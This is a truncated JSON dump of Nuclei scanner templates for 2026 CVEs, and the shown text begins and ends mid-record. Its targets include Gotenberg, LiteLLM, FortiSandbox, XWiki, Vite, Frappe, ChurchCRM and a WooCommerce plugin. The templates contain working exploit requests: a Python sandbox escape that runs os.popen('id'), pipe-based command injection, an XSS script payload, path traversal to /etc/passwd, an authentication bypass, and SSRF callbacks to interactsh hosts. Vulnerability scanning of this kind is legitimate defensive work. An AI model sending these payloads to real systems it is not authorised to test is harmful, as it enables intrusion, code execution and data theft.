CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N\n    cvss-score: 9.3\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: thecodingmachine\n    product: gotenberg\n    shodan-query: http.html:\"Gotenberg\"\n  tags: cve,cve2026,gotenberg,ssrf,downloadfrom,oast\n\nhttp:\n  - raw:\n      - |\n        POST /forms/chromium/convert/html HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----gotenbergProbe\n\n        ------gotenbergProbe\n        Content-Disposition: form-data; name=\"files\"; filename=\"index.html\"\n        Content-Type: text/html\n\n        <html><body>ssrf-probe</body></html>\n        ------gotenbergProbe\n        Content-Disposition: form-data; name=\"downloadFrom\"\n\n        [{\"url\":\"HTTP://{{interactsh-url}}\"}]\n        ------gotenbergProbe--\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"Gotenberg\"\n# digest: 4a0a0047304502210080f5377d282f3fb2fa09a1a9523e0a770f8982c6140249c7852489a8ad063472022003181ad39b34813efbaa75eb5e4f6c6de0f7153daaba7aebc56aa793ae0c24eb:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-40280.yaml","vuln_id":"cve-2026-40280"},{"raw":"id: CVE-2026-40242\n\ninfo:\n  name: Arcane <= 1.17.2 - Server-Side Request Forgery\n  author: 0x_Akoko\n  severity: high\n  description: |\n   Arcane <= 1.17.3 contains an unauthenticated server-side request forgery caused by lack of URL scheme and host validation in /api/templates/fetch endpoint, letting remote attackers perform SSRF, exploit requires no authentication.\n  impact: |\n   Remote attackers can make the server perform arbitrary HTTP requests, potentially accessing internal resources or sensitive data.\n  remediation: |\n   Upgrade to version 1.17.3 or later.\n  reference:\n    - https://github.com/getarcaneapp/arcane/security/advisories/GHSA-ff24-4prj-gpmj\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-40242\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N\n    cvss-score: 7.2\n    cve-id: CVE-2026-40242\n    cwe-id: CWE-918\n    epss-score: 0.00621\n    epss-percentile: 0.4988\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: getarcaneapp\n    product: arcane\n    shodan-query: http.html:\"arcane\"\n  tags: cve,cve2026,arcane,ssrf,oast,unauth,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /api/templates/fetch?url=http://{{interactsh-url}}/test.json HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(interactsh_protocol, \"http\")\n          - contains(content_type, \"application/json\")\n        condition: and\n# digest: 4a0a00473045022100e4b01d9dfdc62aa9fae34250b5f9fc819ee6bb5a7f03bef6d502f5ddc49aba2002207d7fbd924434bca3afb9454f43f27349f19cb2bb985fba5e365cde504301c7fb:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-40242.yaml","vuln_id":"cve-2026-40242"},{"raw":"id: CVE-2026-40217\n\ninfo:\n  name: LiteLLM < 1.25.0 - Remote Code Execution\n  author: ritikchaddha\n  severity: high\n  description: |\n    LiteLLM before 1.25.0 allows authenticated users with the master API key to execute arbitrary Python code through the /guardrails/test_custom_code endpoint intended for custom guardrail testing. The endpoint’s insufficient filtering mechanisms can be bypassed, allowing attackers to abuse Python’s string operations and bytecode manipulation to break out of the restricted environment. Successful exploitation may lead to remote code execution as the LiteLLM process user, which may be root when using the default Docker image.\n  impact: |\n    An authenticated attacker with the master key can escape the guardrail sandbox and execute arbitrary commands on the LiteLLM host, potentially as root when using the default container.\n  remediation: |\n    Block /guardrails/test_custom_code at the reverse proxy, restrict admin API access, avoid exposing the management interface to untrusted networks, and do not run LiteLLM as root. Apply vendor patches when available.\n  reference:\n    - https://www.x41-dsec.de/lab/advisories/x41-2026-001-litellm/\n    - https://github.com/BerriAI/litellm\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-40217\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\n    cvss-score: 8.7\n    cve-id: CVE-2026-40217\n    epss-score: 0.1702\n    epss-percentile: 0.97084\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: http.favicon.hash:439373620\n    fofa-query: title=\"LiteLLM\"\n  tags: cve,cve2026,litellm,guardrail,rce,intrusive,vkev\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/guardrails/test_custom_code\"\n\n    headers:\n      Authorization: Bearer {{api_key}}\n      Content-Type: application/json\n      Accept: application/json\n\n    body: |\n      {\n        \"custom_code\": \"def apply_guardrail(inputs, request_data, input_type):\\n    obj = str.mro()[1]\\n    def g(fn):\\n        yield fn.placeholder\\n    c = g(None).gi_code\\n    gn = \\\"_\\\"+\\\"_gl\\\"+\\\"ob\\\"+\\\"als\\\"+\\\"_\\\"+\\\"_\\\"\\n    cn = \\\"_\\\"+\\\"_co\\\"+\\\"de_\\\"+\\\"_\\\"\\n    obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\\n    for v in g(http_get):\\n        gd = v\\n        break\\n    bn = \\\"_\\\"+\\\"_bu\\\"+\\\"ilt\\\"+\\\"ins\\\"+\\\"_\\\"+\\\"_\\\"\\n    imp = gd[bn][\\\"_\\\"+\\\"_im\\\"+\\\"po\\\"+\\\"rt_\\\"+\\\"_\\\"]\\n    return {\\\"rce\\\": imp(\\\"os\\\").popen(\\\"id\\\").read()}\",\n        \"test_input\": {\n          \"messages\": [\n            {\n              \"role\": \"user\",\n              \"content\": \"test\"\n            }\n          ]\n        }\n      }\n\n    skip-variables-check: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"rce\\\":\", \"success\\\":true\")'\n          - 'regex(\"uid=[0-9]+.*gid=[0-9]+.*\", body)'\n          - 'status_code == 200'\n        condition: and\n# digest: 4b0a00483046022100f881d44018adb178f663c0a4d60c3f9923df4ae2e462615bbe71b3aa7f22904d02210093eb2dc7b4efa5de6536c5202a2e0fb633dbb40d971fd5eeedcb32bf8131e57e:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-40217.yaml","vuln_id":"cve-2026-40217"},{"raw":"id: CVE-2026-4020\n\ninfo:\n  name: Gravity SMTP WordPress Plugin - Sensitive Information Exposure\n  author: theamanrawat\n  severity: high\n  description: |\n    Gravity SMTP WordPress plugin <= 2.1.4 contains a sensitive information exposure caused by an unrestricted REST API endpoint at /wp-json/gravitysmtp/v1/tests/mock-data, letting unauthenticated attackers retrieve detailed system configuration data, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can access detailed system and configuration data, potentially aiding further attacks or information leakage.\n  remediation: |\n    Update to the latest version beyond 2.1.4.\n  reference:\n    - https://patchstack.com/database/vulnerability/wordpress-gravity-smtp-plugin-2-1-4-unauthenticated-sensitive-information-exposure-via-rest-api-vulnerability\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/12a296db-ecc0-409b-8718-0c208504053a?source=cve\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-4020\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cwe-id: CWE-200\n    cve-id: CVE-2026-4020\n    epss-score: 0.73799\n    epss-percentile: 0.99477\n  metadata:\n    max-request: 1\n    verified: true\n    vendor: rocketgenius\n    product: gravitysmtp\n    framework: wordpress\n  tags: cve,cve2026,exposure,wordpress,wp-plugin,gravitysmtp,wp,unauthenticated,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"gravitysmtp_admin_config\"\n          - \"system_report_clipboard\"\n          - \"feature_flags\"\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502210090fabef6b1828452a0ed0825efc9270c5de21055ea59cfdec63595c40c1507ee02201fd92a68cf16381da3b6ef0f008ab938c1dfce1c0bcf405ab1cbf374beb9748d:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-4020.yaml","vuln_id":"cve-2026-4020"},{"raw":"id: CVE-2026-40151\n\ninfo:\n  name: PraisonAI AgentOS - Information Disclosure\n  author: aryu-ru\n  severity: medium\n  description: |\n    PraisonAI's AgentOS FastAPI application server exposes an unauthenticated `GET /api/agents` endpoint that lists every registered agent's name, role and the opening of its instructions (system prompt). No authentication is enforced on the route, allowing a remote attacker to enumerate agent configurations and harvest sensitive details embedded in system prompts, such as internal API references, business logic and credential hints. This endpoint belongs to the AgentOS FastAPI server and is distinct from the legacy Flask `/agents` server tracked as CVE-2026-44338.\n  impact: |\n    An unauthenticated attacker can disclose agent names, roles and system-prompt content, which frequently contains proprietary business logic, internal endpoints and credential hints.\n  remediation: |\n    Upgrade PraisonAI to version 4.5.128 or later and restrict network access to the AgentOS API.\n  reference:\n    - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-pm96-6xpr-978x\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-40151\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-40151\n    epss-score: 0.00758\n    epss-percentile: 0.55332\n    cwe-id: CWE-200\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: praison\n    product: praisonai\n    shodan-query: http.html:\"PraisonAI App\"\n    fofa-query: body=\"PraisonAI App\"\n  tags: cve,cve2026,praisonai,praison,exposure\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/agents\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"agents\"'\n          - '\"role\"'\n          - '\"instructions\"'\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - '\"role\"\\s*:\\s*\"([^\"]+)\"'\n# digest: 4b0a00483046022100dca444eeb8f82b999c0ae752a174e609bd24b81f6fe1ca19579ee6da041d8991022100d754207859b89d256a1e27038aeb0bd5f481d996032704e260c140f2a8f61b3f:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-40151.yaml","vuln_id":"cve-2026-40151"},{"raw":"id: CVE-2026-40105\n\ninfo:\n  name: XWiki - Cross-Site Scripting\n  author: ritikchaddha\n  severity: medium\n  description: |\n    XWiki is vulnerable to reflected Cross-Site Scripting (XSS) via the `viewer=changes` endpoint. The `rev2` parameter is not properly sanitised before being rendered in the response, allowing an attacker to inject arbitrary JavaScript. Affects XWiki versions prior to the patched release.\n  impact: |\n    Attackers can execute JavaScript in users' browsers, potentially compromising admin accounts and the entire XWiki instance.\n  remediation: |\n    Update to a version later than 17.10.0 or apply the patch to templates/changesdoc.vm manually.\n  reference:\n    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-w4fj-87j5-f25c\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-40105\n    - https://jira.xwiki.org/browse/XWIKI-22481\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2026-40105\n    epss-score: 0.00549\n    epss-percentile: 0.46073\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: xwiki\n    product: xwiki-platform\n    shodan-query: http.title:\"XWiki\"\n  tags: cve,cve2026,xwiki,xss\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/bin/view/Sandbox/?viewer=changes&rev1=9.1&rev2=xar%3Aorg.xwiki.platform%3Axwiki-platform-distribution-flavor-common%2F17.6.0q1che%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Evfu80q44msz&form_token=test&language=en\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"<script>alert(document.domain)</script>\"\n          - \"<h1>Changes for page\"\n          - \"From version\"\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"text/html\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100d2aa81772cbf23f43c2ef0f6f1fafadb2fdbfc64cc6cc954668067fb842553dd02203293bac3e1b0ce2fe415a1b8ce62d5ca7a94028ebcbc459cf987062febb48fe7:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-40105.yaml","vuln_id":"cve-2026-40105"},{"raw":"id: CVE-2026-39808\n\ninfo:\n  name: Fortinet FortiSandbox - Command Injection\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Fortinet FortiSandbox 4.4.0 through 4.4.8 contains a command injection caused by improper neutralization of special elements in OS commands, letting attackers execute unauthorized code or commands, exploit requires crafted input.\n  impact: |\n    Attackers can execute arbitrary code or commands, potentially leading to full system compromise.\n  remediation: Upgrade FortiSandbox to version 4.4.9 or later.\n  reference:\n    - https://fortiguard.fortinet.com/psirt/FG-IR-26-100\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-39808\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-39808\n    cwe-id: CWE-78\n    epss-score: 0.93189\n    epss-percentile: 0.99836\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: fortinet\n    product: fortisandbox\n    shodan-query: http.title:\"FortiSandbox\"\n    fofa-query: title=\"FortiSandbox\"\n  tags: cve,cve2026,fortisandbox,fortinet,rce,intrusive,file-upload,vkev,kev\n\nvariables:\n  string: \"{{randstr}}\"\n  filename: \"{{to_lower(rand_text_alpha(8))}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /fortisandbox/job-detail/tracer-behavior?jid=%7c%28echo+{{string}}+%3e+%2fweb%2fng%2f{{filename}}.txt%29%7c HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(body, 'fortisandbox')\"\n        internal: true\n\n  - raw:\n      - |\n        GET /ng/{{filename}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, '{{string}}')\"\n        condition: and\n# digest: 4a0a00473045022100861d00d9283dc28445a902be548a58221c3a3819cad4184b17cde6eef03198b90220329bab3e23c18a7f804f8e191cfc7c743b3b2e884715cc9175b2d008045c6289:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-39808.yaml","vuln_id":"cve-2026-39808"},{"raw":"id: CVE-2026-39468\n\ninfo:\n  name: Meta Box <= 5.11.1 - Arbitrary File Deletion\n  author: iamatownboy\n  severity: high\n  description: |\n    The Meta Box plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the ajax_delete_file function. This makes it possible for authenticated attackers with Contributor-level access and above to delete arbitrary files on the server.\n  impact: |\n    Authenticated attackers can delete arbitrary files such as wp-config.php, which can lead to remote code execution in the right configuration.\n  remediation: |\n    Update Meta Box to version 5.11.2 or later.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/036467de-95bb-4bfd-9522-df8dc17f3102?source=cve\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-14675\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 7.2\n    cve-id: CVE-2025-14675\n    epss-score: 0.01221\n    epss-percentile: 0.68775\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: metabox\n    product: meta-box\n    framework: wordpress\n    publicwww-query: \"/wp-content/plugins/meta-box/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,meta-box,file-deletion,passive\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/meta-box/readme.txt\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(body, \"Meta Box\")\n          - compare_versions(version, \"<= 5.11.1\")\n        condition: and\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - '(?i)Stable tag:\\s*([0-9.]+)'\n        internal: true\n# digest: 4a0a0047304502206d8c1d6797e43a6e9b6ef392682253439ba04c2c24f289a653194f22e79b4f0e022100acd21151dc87c47b2f37a440ca3b4c1206fb915e16dca26a98150744f1c0755c:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-39468.yaml","vuln_id":"cve-2026-39468"},{"raw":"id: CVE-2026-39365\n\ninfo:\n  name: Vite Dev Server - Path Traversal in Optimized Deps .map Handling\n  author: theamanrawat\n  severity: medium\n  description: |\n    Vite development server versions prior to 8.0.5, 7.3.2, and 6.4.2 are vulnerable to path traversal through the optimized dependencies sourcemap handler. The dev server's handling of .map requests for optimized dependencies resolves file paths via normalizePath(path.resolve(root, url.slice(1))) and calls readFile without restricting ../ segments in the URL. This allows an attacker to bypass server.fs.strict and retrieve auto-generated sourcemaps for files located outside the project root, leaking absolute filesystem paths. Only dev servers explicitly exposed to the network using --host or server.host are affected.\n  impact: |\n    An attacker can trigger auto-generated sourcemap responses for files outside the project directory, leaking absolute filesystem paths and potentially reading .map files containing sensitive source code or configuration data.\n  remediation:\n    Upgrade Vite to version 8.0.5, 7.3.2, 6.4.2 or later.\n  reference:\n    - https://github.com/advisories/GHSA-4w7w-66w2-5vf9\n    - https://github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-39365\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-39365\n    epss-score: 0.00914\n    epss-percentile: 0.60226\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: http.html:\"/@vite/client\" port:\"5173\"\n    fofa-query: body=\"/@vite/client\" && port=\"5173\"\n  tags: cve,cve2026,vite,lfi,path-traversal,vuln,unauthenticated,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body_1\n        words:\n          - \"/@vite/client\"\n        internal: true\n\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - raw:\n      - |\n        GET /node_modules/.vite/deps/../../../config.production.js.map HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"\\\"version\\\":3\"\n          - \"\\\"mappings\\\"\"\n        condition: and\n\n      - type: regex\n        part: body\n        regex:\n          - \"\\\"file\\\":\\\"/\"\n\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - \"\\\"file\\\":\\\"([^\\\"]+)\\\"\"\n# digest: 490a0046304402201797899e0b10d0ede93b9fb5f389e14c05a50f638d34586c20e113d6f99aa96a0220295fcb0a32fc4d1f1ec68ce7a376be882b66f271fe6ca011f0ad764763a37b9f:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-39365.yaml","vuln_id":"cve-2026-39365"},{"raw":"id: CVE-2026-39364\n\ninfo:\n  name: Vite Dev Server - Directory Traversal\n  author: ritikchaddha\n  severity: high\n  description: |\n    Vite is a modern frontend build tool. In Vite prior to versions 6.4.3, 6.3.4, and 5.4.23, a directory traversal vulnerability affects the Vite development server. When the Vite dev server is launched with the --host or server.host option, an unauthenticated attacker can craft a request with a path containing dot segments (e.g., /.vite/../<filename>) to bypass static file restrictions and access arbitrary files on the filesystem under the project root. The vulnerability allows access to files normally denied by Vite’s \"server.fs.deny\" setting, including sensitive files like .env, configuration files, or credentials in the project root. This issue has been fixed in versions 6.4.3, 6.3.4, and 5.4.23.\n  impact: |\n    Attackers can retrieve sensitive files like .env or certificates, leading to information disclosure.\n  remediation: |\n    Update to versions 7.3.2 or 8.0.5 or later.\n  reference:\n    - https://github.com/vitejs/vite/security/advisories/GHSA-cw47-99h4-q43f\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-39364\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-39364\n    cwe-id: CWE-22\n    epss-score: 0.02259\n    epss-percentile: 0.83021\n  metadata:\n    max-request: 2\n    fofa-query: body=\"/@vite/client\"\n    shodan-query: http.html:\"/@vite/client\"\n  tags: cve,cve2025,vite,exposure,bypass,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/.env\"\n\n    matchers:\n      - type: status\n        status:\n          - 403\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/.env?raw??\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"export default\", \"data:application/json;base64\")'\n          - 'contains_any(content_type, \"text/javascript\", \"application/javascript\")'\n          - '!contains(tolower(body), \"<html\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a00473045022100b93631aecba976d863c337b811ce7d7efbf37d428ffceb2049bcaae4a0425026022016a646d960973e63fbcb1ca61ae25658281997e7feabc766c9d9711ab92fc9b1:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-39364.yaml","vuln_id":"cve-2026-39364"},{"raw":"id: CVE-2026-39352\n\ninfo:\n  name: Frappe Framework < 16.15.0 - Arbitrary File Read via render_include Path Traversal\n  author: DhiyaneshDK\n  severity: medium\n  description: |\n    Frappe is a full-stack web application framework. Versions prior to 15.105.0 and 16.15.0 contain a possible Arbitrary File Read vulnerability via Path Traversal. The issue is resolved in versions 16.15.0, 15.105.0 and above.\n  impact: |\n    Attackers can read arbitrary files, potentially exposing sensitive information.\n  remediation: Update to version 15.105.0, 16.15.0 or later.\n  reference:\n    - https://github.com/frappe/frappe/security/advisories/GHSA-67rf-pxgh-vfqv\n    - https://github.com/frappe/frappe/commit/b5ab941788f6232b4f9313432ea7bfb61389fbfd\n    - https://github.com/frappe/frappe/pull/38215\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-39352\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 6.5\n    cve-id: CVE-2026-39352\n    epss-score: 0.01279\n    epss-percentile: 0.70079\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: frappe\n    product: frappe\n    shodan-query: http.title:\"Login\" http.html:\"frappe\"\n    fofa-query: title=\"Login\" && body=\"frappe\"\n  tags: cve,cve2026,frappe,lfi,authenticated,file-read\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nvariables:\n  username: \"{{username}}\"\n  password: \"{{password}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/method/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        usr={{username}}&pwd={{password}}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Logged In\"\n        internal: true\n\n  - raw:\n      - |\n        POST /api/resource/Report HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"doctype\":\"Report\",\"report_name\":\"nuclei_cve2026_39352_{{randstr}}\",\"report_type\":\"Script Report\",\"ref_doctype\":\"User\",\"is_standard\":\"No\",\"disabled\":0,\"javascript\":\"{% include 'frappe/../../../../../../../../../../etc/passwd' %}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"nuclei_cve2026_39352\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /api/method/frappe.desk.query_report.get_script?report_name=nuclei_cve2026_39352_{{randstr}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - regex('root:.*:0:0:', body)\n          - contains(content_type, \"application/json\")\n          - status_code == 200\n        condition: and\n\n  - raw:\n      - |\n        DELETE /api/resource/Report/nuclei_cve2026_39352_{{randstr}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains_all(body, \"data\",\"ok\")\n          - contains(content_type, \"application/json\")\n          - status_code == 202\n        condition: and\n        internal: true\n# digest: 4b0a004830460221008273ad39a229aaf942d06d4bb2e9dd63e89b3cf1d4a26b61db042d19c3887632022100bb31987ab00c7f20d7a721d46fcd919f9f412c84ff1d28881bf9350ee9ea602b:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-39352.yaml","vuln_id":"cve-2026-39352"},{"raw":"id: CVE-2026-39339\n\ninfo:\n  name: ChurchCRM - API Authentication Bypass via URL Injection\n  author: akhilshekhar\n  severity: critical\n  description: |\n    ChurchCRM < 7.1.0 contains an authentication bypass caused by improper API middleware URL handling in ChurchCRM/Slim/Middleware/AuthMiddleware.php, letting unauthenticated attackers access protected API endpoints, exploit requires crafted request URL with 'api/public\n  impact: |\n    Unauthenticated attackers can access all protected API endpoints, exposing sensitive church member data and system information.\n  remediation: |\n    Update to version 7.1.0 or later.\n  reference:\n    - https://github.com/ChurchCRM/CRM/security/advisories/GHSA-v3p2-mx78-pxhc\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cve-id: CVE-2026-39339\n    epss-score: 0.01351\n    epss-percentile: 0.71611\n    cwe-id: CWE-284\n    cpe: cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*\n  metadata:\n    vendor: churchcrm\n    product: churchcrm\n    shodan-query: http.title:\"churchcrm\"\n    fofa-query: app=\"churchcrm\"\n  tags: cve,cve2026,churchcrm,auth-bypass\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/persons/latest?bypass=/api/public\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"PersonId\"\n          - \"FormattedName\"\n          - \"\\\"people\\\"\"\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a004630440220089e12f7c39dfe45db041c40f9b83229fc48b2a6c6804934a1248ae094f314c5022024c23a10f4d78a065d2b43b5576e29c069fc46867f1a247c5891b9ecca771d34:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-39339.yaml","vuln_id":"cve-2026-39339"},{"raw":"id: CVE-2026-3891\n\ninfo:\n  name: Pix for WooCommerce <= 1.5.0 - Unauthenticated Arbitrary File Upload\n  author: m4sh_wacker\n  severity: critical\n  description: |\n    The Pix for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing capability check and missing file type validation in the 'lkn_pix_for_woocommerce_c6_save_settings' function in all versions up to, and including, 1.5.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n  impact: |\n    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.\n  remediation: |\n    Update to the latest version of Pix for WooCommerce plugin.\n  reference:\n    - https://github.com/m4sh-wacker/CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit\n    - https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-3891\n    epss-score: 0.32435\n    epss-percentile: 0.98339\n    cwe-id: CWE-434\n    cpe: cpe:2.3:a:linknacional:payment_gateway_pix_for_woocommerce:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: linknacional\n    product: payment_gateway_pix_for_woocommerce\n    framework: wordpress\n    shodan-query: http.html:\"/wp-content/plugins/payment-gateway-pix-for-woocommerce\"\n    fofa-query: body=\"/wp-content/plugins/payment-gateway-pix-for-woocommerce\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,woocommerce,file-upload,unauth,intrusive,rce\n\nflow: http(1) && http(2) && http(3)\n\nvariables:\n  marker: \"{{randstr}}\"\n  fname: \"{{rand_base(8)}}\"\n  boundary_id: \"{{rand_int(100000, 999999)}}\"\n\nhttp:\n  - id: step-1\n    method: POST\n    path:\n      - \"{{BaseURL}}/wp-admin/admin-ajax.php\"\n    headers:\n      Content-Type: application/x-www-form-urlencoded\n    body: \"action=lkn_pix_for_woocommerce_generate_nonce&action_name=lkn_pix_for_woocommerce_c6_settings_nonce\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, '\\\"success\\\":true')\"\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: nonce\n        internal: true\n        json:\n          - \".data.nonce\"\n\n  - id: step-2\n    raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        